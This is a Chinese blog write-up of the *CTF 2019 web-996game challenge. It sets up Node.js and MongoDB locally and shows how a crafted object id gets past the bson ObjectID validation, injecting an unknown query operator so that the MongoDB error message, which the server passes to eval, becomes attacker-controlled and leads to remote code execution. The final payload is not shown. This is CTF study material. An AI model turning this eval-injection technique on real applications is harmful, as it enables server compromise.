前言

上个周末打的 *CTF,密码实在是复现不动了,只能来搞搞 Web 这个样子…

虽然 Web 题出的不算太好,不过还是能学到东西的,值得复现一波。

根据题目的环境,先自己搭一个 nodejs + mongodb 来玩玩。


环境搭建

老样子的 Docker,经过国赛的出题之后我暂时抛弃了 Ubuntu XD,现在我用的是 Alpine 的镜像:

docker pull node:12-alpine

然后:

docker run -id --name mongo -p 32770:27017 node:alpine-12
docker exec -it mongo sh

接着把 mongodb 装上:

apk update
apk add mongodb

现在运行 mongod 启动 mongodb,会得到报错:

exception in initAndListen: NonExistentPath: Data directory /data/db not found., terminating

所以先把目录建好:

mkdir -p /data/db

然后运行:

mongod &

或者 Ctrl + z 然后 bg 运行,也可以加上 nohup 把日志重定向到文件里,此时即可打开 mongodb 的 shell:

/ # mongo
MongoDB shell version v4.0.5
connecting to: mongodb://127.0.0.1:27017/?gssapiServiceName=mongodb
2019-05-05T04:28:52.574+0000 I NETWORK  [listener] connection accepted from 127.0.0.1:58228 #1 (1 connection now open)
2019-05-05T04:28:52.575+0000 I NETWORK  [conn1] received client metadata from 127.0.0.1:58228 conn1: { application: { name: "MongoDB Shell" }, driver: { name: "MongoDB Internal Client", version: "4.0.5" }, os: { type: "Linux", name: "NAME="Alpine Linux"", architecture: "x86_64", version: "Kernel 4.4.0-91-generic" } }
Implicit session: session { "id" : UUID("b4340836-bd10-4434-ad95-1698a36e2cac") }
MongoDB server version: 4.0.5
...

>

mongodb shell 的官方手册看这里:https://docs.mongodb.com/manual/mongo/

然后我们就按照题目漏洞点那样建个 players 数据库:

> use players
switched to db players
> db.players.insertOne( {username: 'Twings'} )
2019-05-05T04:43:54.884+0000 I STORAGE  [conn2] createCollection: players.players with generated UUID: 72b73c04-59cd-49ee-bdb7-2914c7ffdcb9
{
        "acknowledged" : true,
        "insertedId" : ObjectId("5cce6a0ae051d04aaa654a18")
}
> db.players.find()
{ "_id" : ObjectId("5cce6a0ae051d04aaa654a18"), "username" : "Twings" }
>

然后开放 mongodb 远程连接,因为找不到配置文件,所以我查看了 mongod 的选项,然后运行 mongod –bind_ip_all 启动 mongodb,可以看到现在已经可以远程访问了:

/etc/conf.d # netstat -nltp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:27017           0.0.0.0:*               LISTEN      358/mongod

接下来我们写一个简易的 nodejs 服务 server.js(npm 把依赖装好):

const ObjectId = require('mongodb').ObjectID;
const express = require('express');

app = express();

app.get("/", (req, res) => {
    var id = JSON.parse(req.query.id); # 因为题目中id可以为对象,所以这里使用JSON来传递对象
    var MongoClient = require('mongodb').MongoClient;
    var url = "mongodb://0.0.0.0:32770/";
    MongoClient.connect(url, { useNewUrlParser: true }, function(err, db) {
        if (err) {
           res.send(err); 
        }else {
            var dbo = db.db("players");
            var whereStr = {"_id": new ObjectId(id)};
            dbo.collection("players").find(whereStr).toArray(function(err, result) {
                if(err) {
                    res.send(err);
                }else {
                    res.send(result);
                    db.close();
                }
            });
        }
    });
})

app.listen(3000, () => console.log(`App listening on port 3000!`));

运行 server.js,访问 http://localhost:3000/?id=%225cce6a0ae051d04aaa654a18%22 即可看到成功查询:

[{"_id":"5cce6a0ae051d04aaa654a18","username":"Twings"}]

题目分析

题目里有一句很明显的 eval 代码动态执行:

GameServer.loadPlayer = function(socket,id){
    GameServer.server.db.collection('players').findOne({_id: new ObjectId(id)},function(err,doc){
        if(err) {
        if(!doc) {
        eval(err.message.split(':').pop()); # 很奇怪的处理语句
        }
        throw err;
    }
        if(!doc) {
        return;
        }
        var player = new Player();
        var mongoID = doc._id.toString();
        player.setIDs(mongoID,socket.id);
        player.getDataFromDb(doc);
        GameServer.finalizePlayer(socket,player);
    });
};

所以我们的思路就是想办法控制报错信息,根据提示:

db.a.find({"b":{"$gt":1,"c":"d"}})

我们在 mongodb shell 试一试:

> db.players.findOne({_id: {"$gt":1,"c":"d"}})
2019-05-05T05:24:18.297+0000 E QUERY    [js] Error: error: {
    "ok" : 0,
    "errmsg" : "unknown operator: c",
    "code" : 2,
    "codeName" : "BadValue"
} :
_getErrorWithCode@src/mongo/shell/utils.js:25:13
DBCommandCursor@src/mongo/shell/query.js:708:1
DBQuery.prototype._exec@src/mongo/shell/query.js:113:28
DBQuery.prototype.hasNext@src/mongo/shell/query.js:288:5
DBCollection.prototype.findOne@src/mongo/shell/collection.js:260:10
@(shell):1:1

只要我们能控制 id,就可以控制 err.message.split(‘:’).pop()。然后我们就需要审计 new ObjectId(id),看看如何控制 id,下断点把调试开起来,为了控制报错,我们要传入的数据类型为对象,我们先用 {“$gt”:”1”,”c”:”d”} 试一试:

var ObjectID = function ObjectID(id) {
  // Duck-typing to support ObjectId from different npm packages
  if (id instanceof ObjectID) return id;
  if (!(this instanceof ObjectID)) return new ObjectID(id);

  this._bsontype = 'ObjectID';

  // The most common usecase (blank id, new objectId instance)
  if (id == null || typeof id === 'number') {
    // Generate a new id
    this.id = this.generate(id);
    // If we are caching the hex string
    if (ObjectID.cacheHexString) this.__id = this.toString('hex');
    // Return the object
    return;
  }

  // Check if the passed in id is valid
  var valid = ObjectID.isValid(id);

  // Throw an error if it's not a valid setup
  if (!valid && id != null) {
    throw new Error(
      'Argument passed in must be a single String of 12 bytes or a string of 24 hex characters'
    );
  } else if (valid && typeof id === 'string' && id.length === 24 && hasBufferType) {
    return new ObjectID(utils.toBuffer(id, 'hex'));
  } else if (valid && typeof id === 'string' && id.length === 24) {
    return ObjectID.createFromHexString(id);
  } else if (id != null && id.length === 12) {
    // assume 12 byte string
    this.id = id;
  } else if (id != null && id.toHexString) {
    // Duck-typing to support ObjectId from different npm packages
    return id;
  } else {
    throw new Error(
      'Argument passed in must be a single String of 12 bytes or a string of 24 hex characters'
    );
  }

  if (ObjectID.cacheHexString) this.__id = this.toString('hex');
};

首先要绕过的是 ObjectID.isValid:

ObjectID.isValid = function isValid(id) {
  if (id == null) return false;

  if (typeof id === 'number') {
    return true;
  }

  if (typeof id === 'string') {
    return id.length === 12 || (id.length === 24 && checkForHexRegExp.test(id));
  }

  if (id instanceof ObjectID) {
    return true;
  }

  if (id instanceof _Buffer) {
    return true;
  }

  // Duck-Typing detection of ObjectId like objects
  if (id.toHexString) {
    return id.id.length === 12 || (id.id.length === 24 && checkForHexRegExp.test(id.id));
  }

  return false;
};

很简单,只要给我们的对象加上 toHexString 和 id.length 即可轻松绕过,修改 payload 为 {“$gt”:”1”,”c”:”d”,”toHexString”:true,”id”:{“length”:12}},即可看到回显报错可控:

{"ok":0,"errmsg":"unknown operator: c","code":2,"codeName":"BadValue","name":"MongoError"}

之后就是 RCE 跑个 perl 脚本 getflag 了。


参考链接:

https://github.com/sixstars/starctf2019/tree/master/web-996game

https://xz.aliyun.com/t/5006#toc-2


CTF Web Mongodb NodeJS

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

FastCGI浅析
Python黑魔法-[]绕过空格实现变量覆盖